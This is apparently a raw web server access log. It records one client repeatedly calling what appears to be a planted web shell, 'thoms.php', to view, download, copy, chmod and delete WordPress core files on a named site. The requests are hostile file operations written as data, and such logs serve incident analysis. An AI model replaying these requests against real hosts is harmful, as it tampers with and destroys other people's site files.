45.135.193.11 - - [11/Sep/2026:23:11:28 -0400] "GET /thoms.php?chmod=shortcodes.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11509 "http://163.245.207.76:443/thoms.php?chmod=shortcodes.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:28 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=speculative-loading.php HTTP/1.1" 200 16048 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=speculative-loading.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:28 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-object-cache.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11883 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-object-cache.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:28 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-image-editor-imagick.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11885 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-image-editor-imagick.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:28 -0400] "GET /thoms.php?chmod=error_log&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11505 "http://163.245.207.76:443/thoms.php?chmod=error_log&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:28 -0400] "GET /thoms.php?chmod=feed-rdf.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11519 "http://163.245.207.76:443/thoms.php?chmod=feed-rdf.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:28 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=ms-load.php HTTP/1.1" 200 19167 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=ms-load.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:28 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=option.php HTTP/1.1" 200 37243 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=option.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:28 -0400] "GET /thoms.php?chmod=rest-api&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11505 "http://163.245.207.76:443/thoms.php?chmod=rest-api&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:28 -0400] "GET /thoms.php?dl=https-detection.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57910 "http://163.245.207.76:443/thoms.php?dl=https-detection.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:29 -0400] "GET /thoms.php?del=class-wp-http-requests-hooks.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57909 "http://163.245.207.76:443/thoms.php?del=class-wp-http-requests-hooks.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:29 -0400] "GET /thoms.php?del=class-wp-role.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57910 "http://163.245.207.76:443/thoms.php?del=class-wp-role.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:29 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=comment.php HTTP/1.1" 200 56940 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=comment.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:29 -0400] "GET /thoms.php?del=class-wp-widget.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57909 "http://163.245.207.76:443/thoms.php?del=class-wp-widget.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:29 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=cron.php HTTP/1.1" 200 22852 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=cron.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:29 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=global-styles-and-settings.php HTTP/1.1" 200 18449 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=global-styles-and-settings.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:29 -0400] "GET /thoms.php?dl=post-formats.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57898 "http://163.245.207.76:443/thoms.php?dl=post-formats.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:29 -0400] "GET /thoms.php?dl=class-http.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57909 "http://163.245.207.76:443/thoms.php?dl=class-http.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:30 -0400] "GET /thoms.php?del=class-phpmailer.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57910 "http://163.245.207.76:443/thoms.php?del=class-phpmailer.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:30 -0400] "GET /thoms.php?del=class-wp-query.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57909 "http://163.245.207.76:443/thoms.php?del=class-wp-query.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:30 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Ffeed-rss2.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11866 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Ffeed-rss2.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:30 -0400] "GET /thoms.php?del=class-wp-scripts.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57909 "http://163.245.207.76:443/thoms.php?del=class-wp-scripts.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:30 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=ms-site.php HTTP/1.1" 200 24190 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=ms-site.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:30 -0400] "GET /thoms.php?del=media.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57900 "http://163.245.207.76:443/thoms.php?del=media.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:31 -0400] "GET /thoms.php?chmod=class-requests.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11521 "http://163.245.207.76:443/thoms.php?chmod=class-requests.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:31 -0400] "GET /thoms.php?chmod=https-migration.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11512 "http://163.245.207.76:443/thoms.php?chmod=https-migration.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:31 -0400] "GET /thoms.php?del=blocks&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57910 "http://163.245.207.76:443/thoms.php?del=blocks&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:31 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Frss.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11868 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Frss.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:31 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Ftemplate-loader.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11869 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Ftemplate-loader.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:31 -0400] "GET /thoms.php?chmod=class-wp-theme-json-resolver.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11520 "http://163.245.207.76:443/thoms.php?chmod=class-wp-theme-json-resolver.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:31 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fcomment-template.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11872 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fcomment-template.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:31 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=registration.php HTTP/1.1" 200 12014 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=registration.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:31 -0400] "GET /thoms.php?del=update.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57900 "http://163.245.207.76:443/thoms.php?del=update.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:31 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=wp-diff.php HTTP/1.1" 200 12245 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=wp-diff.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:32 -0400] "GET /thoms.php?chmod=class-wp-image-editor.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11509 "http://163.245.207.76:443/thoms.php?chmod=class-wp-image-editor.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:32 -0400] "GET /thoms.php?chmod=class-wp-taxonomy.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11513 "http://163.245.207.76:443/thoms.php?chmod=class-wp-taxonomy.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:32 -0400] "GET /thoms.php?chmod=embed-template.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11522 "http://163.245.207.76:443/thoms.php?chmod=embed-template.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:32 -0400] "GET /thoms.php?dl=class-phpass.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57913 "http://163.245.207.76:443/thoms.php?dl=class-phpass.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:32 -0400] "GET /thoms.php?chmod=blocks&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11506 "http://163.245.207.76:443/thoms.php?chmod=blocks&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:32 -0400] "GET /thoms.php?del=class-wp-image-editor.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57910 "http://163.245.207.76:443/thoms.php?del=class-wp-image-editor.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:32 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-smtp.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11886 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-smtp.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:32 -0400] "GET /thoms.php?chmod=class-wp-term.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11526 "http://163.245.207.76:443/thoms.php?chmod=class-wp-term.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:32 -0400] "GET /thoms.php?chmod=connectors.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11507 "http://163.245.207.76:443/thoms.php?chmod=connectors.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:32 -0400] "GET /thoms.php?chmod=utf8.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11505 "http://163.245.207.76:443/thoms.php?chmod=utf8.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:32 -0400] "GET /thoms.php?dl=class-wp-xmlrpc-server.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57908 "http://163.245.207.76:443/thoms.php?dl=class-wp-xmlrpc-server.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:33 -0400] "GET /thoms.php?chmod=version.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11522 "http://163.245.207.76:443/thoms.php?chmod=version.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:32 -0400] "GET /thoms.php?dl=ms-functions.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57910 "http://163.245.207.76:443/thoms.php?dl=ms-functions.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:33 -0400] "GET /thoms.php?del=class-wp-term-query.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57882 "http://163.245.207.76:443/thoms.php?del=class-wp-term-query.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:33 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fembed.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11859 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fembed.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:33 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=https-migration.php HTTP/1.1" 200 13655 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=https-migration.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:33 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=theme-i18n.json HTTP/1.1" 200 12419 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=theme-i18n.json" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:33 -0400] "GET /thoms.php?dl=https-migration.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57909 "http://163.245.207.76:443/thoms.php?dl=https-migration.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:33 -0400] "GET /thoms.php?del=view-config.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57909 "http://163.245.207.76:443/thoms.php?del=view-config.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:33 -0400] "GET /thoms.php?del=class-IXR.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57911 "http://163.245.207.76:443/thoms.php?del=class-IXR.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:34 -0400] "GET /thoms.php?chmod=class-wp-block-pattern-categories-registry.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11551 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block-pattern-categories-registry.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:34 -0400] "GET /thoms.php?dl=class-simplepie.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57910 "http://163.245.207.76:443/thoms.php?dl=class-simplepie.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:34 -0400] "GET /thoms.php?chmod=class-wp-theme-json-schema.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11518 "http://163.245.207.76:443/thoms.php?chmod=class-wp-theme-json-schema.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:34 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=compat-utf8.php HTTP/1.1" 200 18249 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=compat-utf8.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:34 -0400] "GET /thoms.php?chmod=sitemaps.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11520 "http://163.245.207.76:443/thoms.php?chmod=sitemaps.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:34 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=view-transitions.php HTTP/1.1" 200 12221 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=view-transitions.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:34 -0400] "GET /thoms.php?del=class-wp-url-pattern-prefixer.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57911 "http://163.245.207.76:443/thoms.php?del=class-wp-url-pattern-prefixer.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:35 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-role.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11868 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-role.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:35 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=session.php HTTP/1.1" 200 12005 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=session.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:35 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2FID3&p= HTTP/1.1" 200 11984 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2FID3&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:35 -0400] "GET /thoms.php?dl=class-wp-customize-panel.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57910 "http://163.245.207.76:443/thoms.php?dl=class-wp-customize-panel.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:35 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fl10n&p= HTTP/1.1" 200 11984 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fl10n&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:35 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fblock-template-utils.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11885 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fblock-template-utils.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:35 -0400] "GET /thoms.php?del=certificates&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57911 "http://163.245.207.76:443/thoms.php?del=certificates&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:35 -0400] "GET /thoms.php?chmod=blocks.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11522 "http://163.245.207.76:443/thoms.php?chmod=blocks.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
